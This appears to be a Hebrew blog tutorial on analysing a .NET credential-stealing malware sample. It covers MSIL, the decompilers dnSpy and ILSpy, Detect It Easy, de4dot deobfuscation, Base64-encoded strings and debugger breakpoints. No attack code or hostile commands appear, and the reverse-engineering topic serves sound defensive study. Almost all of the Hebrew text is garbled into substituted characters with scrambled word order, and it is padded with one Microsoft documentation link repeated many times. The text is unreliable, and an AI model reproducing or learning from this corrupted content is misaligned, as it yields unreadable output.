 ˫˰˲ ˟ˣ˷˷ ˸ˣ˪ˠ˪ ˧ˡ˩ ˵˶ ˥"ˣˡˢ ˸˞ ˞ˣ˶˵˪-  ˸ˣ˷˰˪ ˫˧˲˧ˡ˰ˬ ˢˬ˴˰ˬ ˸ˣ˥˧˪˷˟ ˫˧˪˰ˣ˲ˢ ˫˧˶˵˞ˢ ˫ˠ

˟ ˷ˬ˸˷ˢ˪ ˫ˣ˵ˬ˟ ˫˧˧ˮˣ˴˧˥ ˫˧˪˩ ˧ˮˬ ˪˩˟ ˷ˣˬ˧˷-API .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˫˧ˮ˟ˣˬˢ 

 ˸˞ ˠ˧˷ˢ˪ ˸˰ˡˣ˧˷ ˢ˵ˤˣˮ ˶ˣ˴˧˪ ˧ˡ˩ ˧˸ˬ˴˰ˬ ˶˵˞ˢ ˸ˣ˧ˢ˪ ˨˧˶˴ ˞˪ ˪˪˩˷ ˫˷ˣ˶ ˢ˷ˣ˰˷ ,˞˧ˢ ˸ˬ˞ˢ ˨˞

˶˦ˬ" ˧ˣˮ˧˩˪ ˢ˸˩ˤ˷ ˢ˵ˤˣˮˢ ˞˧ˢ ˨˩˪ ˢ˟ˣ˦ ˞ˬˠˣˡˣ .ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˢ˸Fauxpersky ˸ˣ˰˴ˬ˞˟ ˢ˟˸˩ˮ˷ ,"

AutoHotKey -  ˧˦˶˲ ˸˟˧ˮˠ˟ ˢ˪˧˰˧˩ ˢˬ˴˰ ˸˞ ˢ˥˧˩ˣˢ ˞˧ˢˣ ,˸ˣ˧ˮˡ˧ ˸ˣˬ˧˷ˬ ˭˩ˬ˪ ˞ˣˢ ˣ˸˶˦ˬ ˪˩˷ ˧˪˩

.˸ˣ˧ˣˢˡˤˢ 

˸ˣ˵ˤˣˮ ˶˵˥ˬ ,˟ˣ˷˥˪ ˠˣˢˮ˷ ˢˬ ˣˬ˩ ˞˪˷- ˪˩ ˫˧˷ˣ˰ ˫˧˯ˣ˶˧ˣ ˧˶˵ˣ˥˷ ˢˬ ˞˪ ˫ˢ ˶˟˧˧˯ ˸ˣˬ˴˰ˬ ˪˷ ˪˰

˞ ˫˧˷ˣ˰ ˶˷˞ ˫˧˯ˣ˶˧ˣ ˪˷ ˶˵˥ˬ˟ ˣˮˮˬˤ ˸˞ ˫˧˶˧˟˰ˬ ˣˮ˞ ˭ˬˤˢ ˟ˣ˶˟˷ ˞˧ˢ ˸ˣ˞˧˴ˬˢ .˫ˣ˧ˢ ,˟˶ ˵ˤˮ ˫ˮˬˣ

 ˫˧˶'˴˧˲ˣ ˡˣ˵ ˸ˣ˟˩˶ˣˬ ˸ˮ˧˥˟ˬ ˨˞-  ˪˪˩˟ˣ ˸˧˯˧˯˟ ˢ˧ˠˣ˪ˣˮ˩˦˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ,˭˧˧ˮ˰ ˪˩ ˦˰ˬ˩ ˧˶˯˥ ˫ˢ- 

.ˡˣ˞ˬ ˫˧˧ˮˣˮ˧˟ˣ 

˸˴˵ ˪˰ .NET 

 ˪˰ ˶˟ˡˮˣ ˞˷ˣˮˢ ˸˞ ˢˮ˷ˮ ˣ˞ˣ˟ ,˸˰˩NET ˧˸˧˞ ˣ˶˞˷˸ ,.-  ˢ˩ ˡ˰ ˫˸˞˶˵˷ ˢˬˡ˵ˢˢ ˪˩˪ ˢ˟˧˯ˢ

 .˟ˣ˶˵˟ ˶ˢ˟˸˸NET ˞˧ˢ .Framework ˷ ˥ˣ˸˧˲ ˧"˰ ˢˠ˴ˣˢMicrosoft  ˸ˮ˷˟2000  ˪˰ ˪˵ˢ˪ ˢ˶˦ˬ˟

 ˧˥˸˲ˬ .˫˧˥˸˲ˬNET˟ ˣˬ˩ ˭ˣ˶˩˧ˤ ˶˶˥˷˪ˣ ˸ˣ˴˵ˢ˪ ˣ˴˪˞ˮ ˫ˢ ˫ˢ˟˷ ˫˧ˬ˧ˢˬ ˥ˣ˩˷˪ ˫˧˪ˣ˩˧ .-C ˣˬ˩ ˣ˞ ,

˟ ˣˬ˩-++C -  ...ˢ˦ˣ˷˲ˣ ˢˮ˦˵ ˸˧ˮ˩ˣ˸ ˟ˣ˸˩˪ ˸ˮˣˣ˩˸ˢ˷ ˸ˣ˶ˬ˪ ˪˟˶ˣ˯ˬˣ ˨ˣ˶˞ ˡˣ˵ ˟˸ˣ˩ ˨ˬ˴˰ ˸˞ ˞ˣ˴ˬ˪ 

ˢ ˸˥˲˷ˬ˟ ˸ˣ˪ˣ˪˩ˢ ˸ˣ˲˷NETˬˢˣ ,. ˫ˢ˧ˮ˧˟ˬ ˸˶˩ˣ- C# ,˸ˣ˧˶ˮˠ ,˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ,˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˲˷ ˭ˢ ,

 ˫˴˰˟ˣ ˫˧ˬ˴˰ ˸ˣ˥ˮˣˬ- ˢ ˪˩ˬ ˫˧˶'˴˧˲ˢ ˪˩ ˸˞ ˸ˣ˪˪ˣ˩-Buzzword ˧˞˷- .˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˲˷ ˪˰ ˣ˞˴ˬˣˢ ˫˰˲

 ˸˶ˤ˰˟˷ ˞˧ˢ ˢˮˣ˸˥˸ˢ ˢ˶ˣ˷ˢC# ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˥ˣ˸˧˲ ,Windows ˪ ˫ˠ ˭ˣ˩ˮ ˶˟ˡˢ ,˫˴˰˟ˣ)-Linux 

˪ˣ-MacOS ˶˷˞˩ ,˟ ˫˧˷ˬ˸˷ˬ-Monoˣ ˫˶ˣˤ ˶˧˟˥˸ˢ .˸ˣ˪˵ ˶˸˧˟ ˢ˷˰ˮ (-Visual Studio  ˫˰ ˟˧ˡˮ ˡˣ˞ˬ

 ˸ˣ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˣ ˸˧˦ˬˣ˦ˣ˞ˢ ˢˬ˪˷ˢˢAPI  ,˨˩˪ ˱˯ˣˮ˟ .˸˧˰˟˦ ˢ˶ˣ˴˟ ˢ˷˰ˮ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷

˪ ˪˲ˬˣ˵˸ ˸˧ˮ˩ˣ˸ˢ ,˦˵˧˧ˣ˶˲ ˫˧˪˲ˬ˵ˬ ˶˷˞˩-EXE ˪ ˣ˞)-DLL ,.(˦˵˧˧ˣ˶˲ˢ ˠˣ˯˟ ˧ˣ˪˸ 

https://www.cybereason.com/blog/fauxpersky-credstealer-malware-autohotkey-kaspersky-antivirus
https://www.mono-project.com/
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 ,ˢ˦ˣ˷˲ ˨˩ ˪˩ ˢ˲˷ ˸˞ˤ ˫˞ ,˰ˠ˶" ˷ˬˬ ˣ˪˞ ˫˧˰ˠ˶˟ ˣˬ˴˰ ˸˞ ˪˞ˣ˷ ˥˦˟ ˢ˲˷ˢ ˸˞ ˶˧˩ˬ ˞˪˷ ˫˩ˬ ˧ˬ

 ˳˟ˣ˵ ˧˪ ˸˶˴˧˧ˬ ˱ˣ˯˟ ˡˣ˰ˣ ˨˧˶˴ ˧ˮ˞˷ ˢˬ ˪˩˪ ˸ˠ˞ˣˡ˷ ,ˢ˥ˣˮ ˨˩ ˪˩ˣEXE˟ ˥˸˲˪ ˫˧˩˧˷ˬˬ ˭˧˧ˡ˰ ˢˬ˪ ,-C 

˟ ˣ˞-C++ '˴˞˵ ˷˧ ˸ˬ˞˟˷ ,ˣˢˤ ˤ˞ ,"?'˴˞˵ˢ ˢ˲˧˞ ?- ˢ ˶˴ˣ˸ˢ ˸ˬˣ˧˯˟ ˫ˮˬˣ˞ ˞ˣˢ ˪ˣ˲ˬ˵ˢ ˪˷ ˧˲ˣ˯

EXE ˞˪ ˞ˣˢ ˨˞ ,PE  ˣ˰˴ˬ˞˟ ˣ˪˲ˬˣ˵˷ ˫˧˶˞ˮ˧˟ ˣˬ˩ ˞˪˷ ,"˧˸˧ˬ˞"C  ˣ˞C++ ˧˶˞ˮ˧˟ ˣ˥˸˲˸ ˶˷˞˩ ,

˟ ˪˲ˬˣ˵˷-NET ˫˷ ˣ˞˴ˬ˸ ˞˪ .Opcode- ˧˪˟ˬ˯˞ ˪˷ ˫˧x86˷ ˪˪ˠ˟ ˢˤˣ ,-NET.ˢˮˣ˷ ˦˰ˬ ˡ˟ˣ˰ . 

˟ ˦˵˧˧˶ˣ˲ ˫˧˪˲ˬ˵ˬ ˶˷˞˩-NET" ˢˮˣ˩ˬˢ ˢ˲˷˪ ˪˲ˬ˵˸ˬ ˡˣ˵ˢ ,.ILMS" ˣ˞ "Microsoft Intermediate 

Language ˰ˣˮˬ ˸ˣ˰˴ˬ˞˟ ˳ˣ˶˪ ˢ˪˧˥˸ˬ ˢˮ˩ˣ˸ˢ ˶˷˞˩ ˵˶ ˫˴˰˟ ˪˲ˬ˵˸ˬ ˣˬ˴˰ ˡˣ˵ˢ ."JIT ˫˸˞ ˫˞ .

˟ ˪ˣ˲ˬ˵ˢ ˨˧˪ˢ˸ ˪˰ ˡˣ˰ ˰ˣˬ˷˪ ˫˧ˮ˧˧ˮˣ˰ˬ-NET ˸˞ ˞ˣ˶˵˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶˸ ,. ˦˲ˣ˯ˣ˶˵˧ˬ ˪˷ ˢ˧˴˦ˮˬˣ˵ˣˡˢ

 :˞˟ˢ ˶ˣ˷˧˵˟aƛŎǊƻǎƻŦǘΩǎ ŘƻŎǳƳŜƴǘŀǘƛƻƴ ˪˰ ˣ˟˷˥ ,˫˧˧˸ˮ˧˟ .MSIL  ˢˢˣ˟ˠ ˢ˟˩˷˟ ˦ˣ˷˲ ,˧˪˟ˬ˯˞ ˪˞˩

.˶˸ˣ˧ 

 

 ˪˷ ˪ˣ˲ˬ˵ˢ ˨˧˪ˢ˸ ˪˰ ˫˩˪ ˶˲ˣ˥ ˧ˮ˞ ˢˬ˪ ˤ˞ ,˧˧˵ˣ˞NET ˪ˡ˟ˢˢ ˸˞ ˫˩˪ ˸ˣ˞˶ˢ˪ ˞˧ˢ ˧˪˷ ˢ˶˦ˬˢ ?.

 ˧˩˧˪ˢ˸ ˫˧˴˧˶ˬ ˶˷˞˩ ˳˶ˣˬ˷ ˧˪˟ˬ˯˞ˢ ˭˧˟C  ˣ˞C++ ˟ ˣ˟˸˩ˮ ˶˷˞ ˫˧˩˧˪ˢ˸ ˫˧˴˧˶ˬ ˶˷˞˩ ˭˧˟˪-NET ..

 ˸˲˷˟ ˣ˟˸˩ˮ ˶˷˞ ˢ˪˞˩ ˣˬ˩) "˪˧ˠ˶" ˧˪˟ˬ˯˞˟ ˣ˟˸˩ˮ ˶˷˞ ˸ˣˮ˩ˣ˸ ˶ˣ˥˞˪ ˫˧˯ˡˮˢˬ ˣˮ˞ ˶˷˞˩C++/C (

-sDisassembler  ˧˪˟ˬ˯˞ ˣˮ˪ ˠ˧˴˧x86/64 ˸˥˲˷ˬˬ ˸˥˞˟ ˣ˟˸˩ˮ ˶˷˞ ˸ˣˮ˩ˣ˸ ˶ˣ˥˞˪ ˯ˡˮˢˮ ˶˷˞˩ ˨˞ ,

ˢ ˸ˣ˲˷-NET˟ ˢ˞˶ˮ˷ ˶˴ˣ˸ˢ ,.-Disassembler  ˨˞ ,˧˪ˬ˟˯˞ ˢ˧ˢ˧ˢˮˣ˷ ˧˦ˣ˪˥˪ ˭ˢˬˬ ˣˮ˞˷ ˫˧˪˧ˠ˶ 

˸ˣ˞˶˪˪ ˪˲ˬˣ˵ ˡˣ˵ˢ˷ ˢˡ˟ˣ˰ˢ !ˢˠ˞ˡ ˪˞ ˪˞ ,-MSIL  ˭ˣˬˢ ˷˧ ˣ˩ˣ˸˟˷ ˸˶ˬˣ˞metadata  ˣˮ˪ ˶ˣˤ˰˪ ˪˩ˣ˧˷

ˢ ˰ˣ˴˧˟ ˸˰˟ ˸ˣ˟˶-Decompilation ˢˤ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˢˬ ˪˩ ,ˢ˷˰ˬ˪ .Decompiler  ˸ˣ˲˷˪ ˡ˥ˣ˧ˬNET .

" ˢˮˣ˩ˬ)Reflector.˸ˣˮ˪˟˯ ˦˰ˬˣ (" 

 ˭ˣˠ˩ ˫˧˪˩˟ ˫˧˷ˬ˸˷ˬ ˣˮ˞ ,"˧˯˞˪˵" ˶ˣ˥˞˪ ˯ˣˡˮ˧ˢ ˰ˣ˴˧˟ ˸˰˟IDA Pro  ˣ˞WinDBG ˢ˴˶ˮ ˶˷˞˩ ˨˞ ,

˸˩˷ ˢˮ˩ˣ˸ ˶ˣ˥˞˪ ˯ˡˮˢ˪˟ ˢ˟ˣ-NET ˷˶ˡˮ ˣˮ˞ ,˭˧˦ˣ˪˥˪ ˢˮˣ˷ ˫˧˪˩ ˦˯˟ ˷ˬ˸˷ˢ˪ ˷˶ˡˮ ˣˮ˥ˮ˞ ,.

http://en.wikipedia.org/wiki/Common_Intermediate_Language
http://en.wikipedia.org/wiki/Common_Intermediate_Language
http://en.wikipedia.org/wiki/Common_Intermediate_Language
https://docs.microsoft.com/en-us/dotnet/standard/managed-execution-process
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/hk5f40ct(v=vs.90)
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˟ ˷ˬ˸˷ˢ˪-Decompilers ˪ ˫˧˧ˡˣ˰˧-NETˢ ˡ˥˞ ..-Debuggers  ˞ˣˢ ˧˪˰ ˫˧˲ˡˣ˰ˬˢdnSpy ˣ˪ ˷˧ ˫ˠ˷ ,

 ˫˷˟ ˡ˥˞ ˞˪˲ˮ ˦˵˧˧ˣ˶˲ ˪˰ ˯˯ˣ˟ˬ ˫ˠ ˞ˣˢˣ ˢ˪ˣ˰ˬ ˷ˬ˸˷ˬ ˵˷ˬˬILSpy. 

˟ ˷ˣˬ˧˷-Decompiler  ˣˬ˩dnSpy ˢ ˸˞ ˶˴˧˷ ˡˣ˵˟ ˸ˣ˲˴˪ ˨˪ ˶˷˲˞ˬ-MSIL ˦˰ˬ˩ ˢˢˤ ˢ˧ˢ˧ ˞ˣˢ˷ ,

 ˸ˣˬ˷ ,˫˧ˮ˸˷ˬˢ ˸ˣˬ˷˟ ˪˪˩ ˨˶ˡ˟ ˣ˧ˢ˧ ˫˧˧ˣˮ˧˷ˢ) ˯ˣ˶˧ˣˢ ˸˞ ˣ˶˴˧ ˣ˟˷ ˧˶ˣ˵ˬˢ ˡˣ˵˪ ˭˧˦ˣ˪˥˪

 .(˸ˣ˵˪˥ˬˢˣ ˫˧˦˵˧˧˟ˣ˞ˢ 

˧˸˰˴˧˟ ˶˷˞˩ ˰ˬ ˫˧˞˶ˮ ˣ˧ˢ ˸ˣ˧˴˵ˮˣ˲ˢˣ ˫˧ˮ˸˷ˬˢ ,˸ˣ˵˪˥ˬˢ ˸ˣˬ˷˷ ˧˸˧˞˶ ,˧˸˶˵˥˷ ˯ˣ˶˧ˣˢ ˪˰ ˸˞ˤ ˦

:˫˧˪˟˶ˣ˰ˬ 

 

 

https://github.com/0xd4d/dnSpy
https://github.com/icsharpcode/ILSpy
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 ˫ˢ˧ˮ˧˟ˣ) ˫˧˟˶ ˸ˣˮ˩ˣ˸ ˫˧˟˸ˣ˩ ,˧˶ˣ˵ˬˢ ˡˣ˵˪ ˞˪ˬ ˦˰ˬ˩ ˶ˣˤ˥˷ ˰˴˟˪ ˭˸˧ˮ˷ ˢ˟˧˯ˢ ˪˪ˠ˟ ˵ˣ˧ˡ˟ ,˭˩˞ˣ

 ˧˧˥ ˪˰ ˸ˣ˷˵ˢ˪ ˸ˮˬ ˪˰ ˸ˣˮˣ˷ (˪ˣ˲˶˰) ˢ˧˴˵˯˲˟ˣ˞ ˸ˣˮˣ˶˸˲ ˧ˮˬ ˪˩˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ (˫˧˯ˣ˶˧ˣ ˧˟˸ˣ˩

 ˰˴˟˪ ˫˧˰ˡˣ˧˷ ˫˧˪˩ ˦˰ˬ ˞˪ ˫ˮ˷˧ ,ˣˮ˧˪ˤˬ˪ ˨˞ .˫˧˶˯˶ˣˣ˧˶ˢDeobfuscation  ˸ˣ˲ˣ˶˴ ˸ˣ˰˷ ˣˮ˪ ˨ˣ˯˥˪ˣ

...˱˧˩ ˪˷ 

ˢ ˟˪˷ ˸˞ ˸ˣ˷˰˪ ˸ˮˬ ˪˰-Deobfuscation  ˫˷˟ ˧˪˩˟ ˷ˬ˸˷ˮ ,˦ˣ˷˲˪die " ˪˷ ˶ˣ˴˧˵)Detect it easy ,("

.ˢˮ˩ˣ˸ˢ ˨ˣ˸˪ ˣ˧˪˰ ˡˣ˟˰˪ ˣˮˮˣ˴˶˟˷ ˳˟ˣ˵ˢ ˸˞ ˶ˣ˶ˠ˪ ˦ˣ˷˲ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩ˣ  ˢˤ ˟˪˷ ˰ˣ˴˧˟ ˸˰˟

 ˣˮ˪˷ ˢ˶˵ˬ˟ ,˷ˣˬ˧˷ ˢ˷˰ˮ ˣ˟˷ ˪ˣ˲˶˰ˢ ˠˣ˯ ˪˰ ˰ˡ˧ˬ ˫ˠ ˶˞˷ˢ ˭˧˟ ,˳˟ˣ˵ˢ ˸ˣˡˣ˞ ˟˶ ˰ˡ˧ˬ ˸ˣ˞˶˪ ˪˩ˣˮ- 

˟ ˷ˣˬ˧˷ ˣ˷˰˷ ˢ˷˰ˮ-Obfuscator " ˫˷˟SmartAssembly": 

 

https://github.com/horsicq/Detect-It-Easy
https://www.red-gate.com/products/dotnet-development/smartassembly/index
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 ,˸˰˩ ˸ˣ˦˧˷ ˷˲˥˪ ˪˧˥˸ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˳˟ˣ˵ˢ ˪˰ ˭ˠˢ˪ ˸ˮˬ ˪˰ ˷ˣˬ˧˷ ˣ˷˰ ˧˪˩ ˢˤ˧˞˟ ˫˧˰ˡˣ˧ ˣˮ˞˷˩

 ˫˷˟ ˧˪˩˟ ˷ˣˬ˧˷ ˪˰ ˳˧˪ˬˬ ˧ˮ˞ .ˣ˸ˣ˞ ˱ˣ˵˰˪de4dot  ˰ˣ˴˧˟˪ ˥ˣ˸˲ ˡˣ˵ ˦˵˧˧ˣ˶˲ ˞ˣˢ˷NET 

Deobfuscationˣ .-Unpacker .ˢ˪ˣ˰ˬ 

˧˶ˤ ˷ˣˬ˧˷˟ ˤ-de4dot :˨˩ ˢ˞˶˧ ,ˣˮ˪˷ ˳˟ˣ˵ˢ ˡˠˮ˩ 

 

ˢ ˡˣ˵ ˟˧˟˯ ˪˲˶˰ˢ ˸˶˯ˢ ˧˶˥˞ ,ˣ˧˷˩˰ˣ-NET ˫˧˶˵ˣ˥ ˣˮ˥ˮ˞˷ ˯ˣ˶˧ˣˢ ˸˞ ˶˴˧˷ .-  !ˢˡˣ˟˰˪ ˸˷ˠ˪ ˶˷˲˞

 ˸ˣ˰˴ˬ˞˟ ˣˮ˪˟˧˵˷ "˧˵ˮˢ" ˳˟ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˪˩ˣˮ ,˸˰˩dnSpy ˫˧ˮ˸˷ˬˢ ˪˷ ˸ˣˬ˷ˢ˷ ˢ˞˶ˮ ˫˰˲ˢ ˨˞ ,

:˫˧˧ˮˣ˧ˠˢ ˶˸ˣ˧ ˸˴˵ ˫˧˞˶ˮ 

 

https://github.com/0xd4d/de4dot
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ˣ˷˥˷ ˸ˣˡˣ˵ˮ ˢˬ˩:˸˰ˡ˪ ˟ 

¶ ˸ˣˬ˷ s-namespace-˫˧ ˣˮ˞˷ ˫˧˞ˣ˶ ˭˞˩ ˫ˢ ˞˪ ˸ˣˬ˷ˢ ˫˧˧˶ˣ˵ˬˢ .˭˧˞ ˣˮ˪ ˫ˣ˷ ˨˶ˡ ˸˧˸˧ˬ˞ ˸˰ˡ˪ 

ˢˬ ˣ˧ˢ ˸ˣˬ˷ ˫˧ˮ˸˷ˬˢ ˫ˢ˟˷ ˟˸ˣ˩ ˡˣ˵ˢ ˧˶ˣ˵ˬˢ ˷ˬ˸˷ˢ. 

¶ ˯ˣ˶˧ˣˢ ˟˸˩ˮ ˶ˣ˵ˬ˟ ˟-Visual Basic ,˨˞ ˭ˣˣ˧˩ˬ ˷-dnSpy ˰ˡˣ˧ ˶˧ˬˢ˪ ˣˮ˪ ˸˞ ˡˣ˵ s-MSIL ˫ˠ ˪-VB 

˫ˠˣ ˪-C# ,˧˸˶˥˟ ˸˞ ˸ˣ˶˷˲˞ˢ ˢ˧ˮ˷ˢ - ˸˞ˤ ˭ˣˣ˧˩ˬ ˶˧˟˥˸ˢ˷ ˪˷ C# ˧˸˰ˡ˪ ˭˟ˣˬ ˥ˮˣ ˶˸ˣ˧ 

ˢ˞˧˶˵˪ .˸ˣ˧˪˪˩˟ˣ - ˪˩ ˧˰˦˵ ˡˣ˵ˢ ˣ˞˶˸˷ ˶ˬ˞ˬ˟ ˢˤ ˫ˢ ˶ˣˤ˥˷ C# ˪˷ ˡˣ˵ MSIL ˶˴ˣˮ˷ ˡˣ˵ˬ 

Visual Basic. 

ˢ ˪˰ ˫˧˪˩˸˯ˬ ˣˮ˞ ˶˷˞˩-namespace " ˫˷˟-" ˫˷˟ ˢ˵˪˥ˬ ˸ˣ˞˶˪ ˪˩ˣˮ ,"Class14 ˭˟ˣˬ˩) "-  ˫˷ ˢˤ

 ˧"˰ ˶˥˟ˮ˷die  ˡˣ˞ˬ ˢ˟˶ˢ ˸ˣ˞˶˪ ˪˩ˣˮ ˣˤˢ ˢ˵˪˥ˬˢ ˸˥˸ˣ ,(˧˶ˣ˵ˬˢ ˫˷ˢ ˞˪ˣmethods: 
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˟ ˡˣ˵ˢ ˪˰ ˸ˣ˪˩˸˯ˢˬ-Class14  ˧ˮ˸˷ˬ ˪˰ ˢ˧˴˶ˬˣˮ˞ ˰ˣ˴˧˟˪ ˭ˣ˧˯˧ˮ ˭˞˩ ˷˧˷ ˸ˣ˞˶˪ ˸ˣ˪˵˟ ˧ˡ ˭˸˧ˮ

˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟ ˢ˟˧˟˯ˢ-Interaction.Environ: 

 

 ˸ˣˤˣ˶˥ˬ ˧˸˷ ˪˷ ˟ˣ˪˧˷ ˫ˢ ˢ˟˧˟˯ˢ ˧ˮ˸˷ˬ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˸ˣ˪˵˟ ,˱˯ˣˮ˟Base64 ˫˶˧ˬˢ˪ ˢ˯ˮˮ ˶˷˞˩ .

:˸ˮ˟ˣˬ ˞˪ ˸ˤˣ˶˥ˬ ˪˟˵ˮ ,˪˧ˠ˶ ˯˧˯˟˟ ˸ˣˤˣ˶˥ˬ˪ ˢ˶ˤ˥˟ 

 

:˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˧˴˵ˮˣ˲ˣ ˸ˣ˧˶˲˯˟ ˷ˣˬ˧˷ ˸ˣ˞˶˪ ˶˷˲˞ ,ˡˣ˵ˢ ˧˵˪˥ ˶˞˷ ˪˰ ˸ˣ˪˩˸˯ˢˬ 

 

 

˦ˠ˲˯ ˡˣ˵" ˡˣ˞ˬ ˢ˟˶ˢ ˪˪ˣ˩ ˪"ˮˢ ˡˣ˵ˢ ˰˦˵ ˪˩ˣ ˫˧˦ˮˣˣ˪˶ ˞˪ ˡˣ˵ ˧˰˦˵ ˧ˮˬ ˪˩˪ ˞˶ˣ˵˷ ˨ˣ˟˯ ˡˣ˵) "˧

 ˭˩ˣ˸˷ ˫˪˷ ˧ˡ ˟˪˟ ˥˧ˮˢ˪ ˶˷˲˞ ,ˣˤ ˢˡˣ˵ˮ˟ .(˧˦˞˦˯ ˥ˣ˸˧ˮ ˰˴˟˪ ˶˵ˣ˥ˢ ˪˰ ˸ˣ˷˵ˢ˪ ˞˧ˢ ˣ˸˶˦ˬ

ˢ ˸ˤˣ˶˥ˬ-Base64 :˸ˣ˧˴˲ˣ˞ ˧˸˷ ˣˮ˪ ˷˧ ˢˤ ˟˪˷˟ ˭˩˪ˣ ,˭˲˴ˣˬ ˞ˣˢ 

¶ ˣˮ˲˴ˣˬˢ ˸ˣˤˣ˶˥ˬˢ ˸˞ ˥ˮ˰˲˧˷ ˤ˧˶ˤ ˡˣ˵ ˸˟˧˸˩ :˧˦˞˦˯ ˥ˣ˸˧ˮ ˰ˣ˴˧˟ ˸ˣ˥˸˲ˬ ˷ˣˬ˧˷ ˸˶ˤ˰˟ ˸

.ˡˣ˵˟ ˸ˣ˪˵˟ ˧ˡ ˞ˣ˴ˬ˪ ˭˸˧ˮ˷ 

¶  ˪"ˮˢ ˸ˣˤˣ˶˥ˬˢ ˸˞ ˥ˮ˰˲˸ ˸˧ˮ˩ˣ˸ˢ ˣ˟ ˰ˠ˶˪ ˡ˰ ˶ˠ˞˟˧ˡ ˸˥˸ ˸˧ˮ˩ˣ˸ˢ ˸˴˶ˢ :˧ˬ˞ˮ˧ˡ ˥ˣ˸˧ˮ ˰ˣ˴˧˟

.ˣˮˮ˧˰ ˡˠˮ˪ ˢˬ˴˰˟ 
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 ˶˲˯ˬ ˢ˧˴˲ˣ˞˟ ˶˥˟˞ ˦˪˥ˢ˟ ˧ˮ˞2  ˫˧˟˴ˬ˟ ˶˧ˢˬ ˶˸ˣ˧ ˢ˟˶ˢ ˢ˧ˢ˧ ˶ˠ˞˟˧ˡ˟ ˷ˣˬ˧˷ ,ˢ˪˞˩ ˫˧˶˵ˬ˟

˷ ˭ˣˣ˧˩ˬ .ˢ˪˞˩-dnSpy  ˯˧ˮ˩ˢ˪ ˡˣ˞ˬ ˪˵ ˢ˧ˢ˧ ,˶ˠ˞˟˧ˡ ˫ˠ ˞ˣˢBreakPoint  ˸˧ˮ˩ˣ˸ˢ ˣ˟ ˟˪˷˟ ˵ˣ˧ˡ˟

 ˸ˣ˰˴ˬ˞˟ ˢ˸˴˶ˢˣ ˥ˣˮ˰˲ˢ ˸ˣ˥˸˲ˬ ˸˞ ˢ˶˧ˡˠˬF9 :ˢˤ ˟˪˷˪ ˡ˰ 

 

 

 ˧˸˟˴ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˣˬ˩BreakPoint  ˢ˶ˣ˷˟1081 ˪˷ ˢ˪˥˸ˢˢ ˞˧ˢ˷ ,smethod_56 ˸ˣ˞˶˪ ˶˷˲˞ˣ ,

 ˶˦ˬ˶˲ ˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ˷- string_0 ˸ˣ˞˶˪ ˶˷˲˞ˣ , ˨˶˰ ˪˰˟ ˶˦ˬ˶˲ ˣ˸ˣ˞˷base64 ˭˲˴ˣˬ: 
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 ˫˧˷ˣ˰ ˣˮ˥ˮ˞˷˩˷ ˟˪ ˫˧˷˪ ˟ˣ˷˥Step Over ˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟) ˡˣ˵ˢ ˪˰-F10 ˸ˣ˞˶˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,(

:˰ˡ˧ˬ˟ ˣ˯˪˩ˣ˞˷ ˫˧˦˵˧˧˟ˣ˞ ˶˲˯ˬ 

 

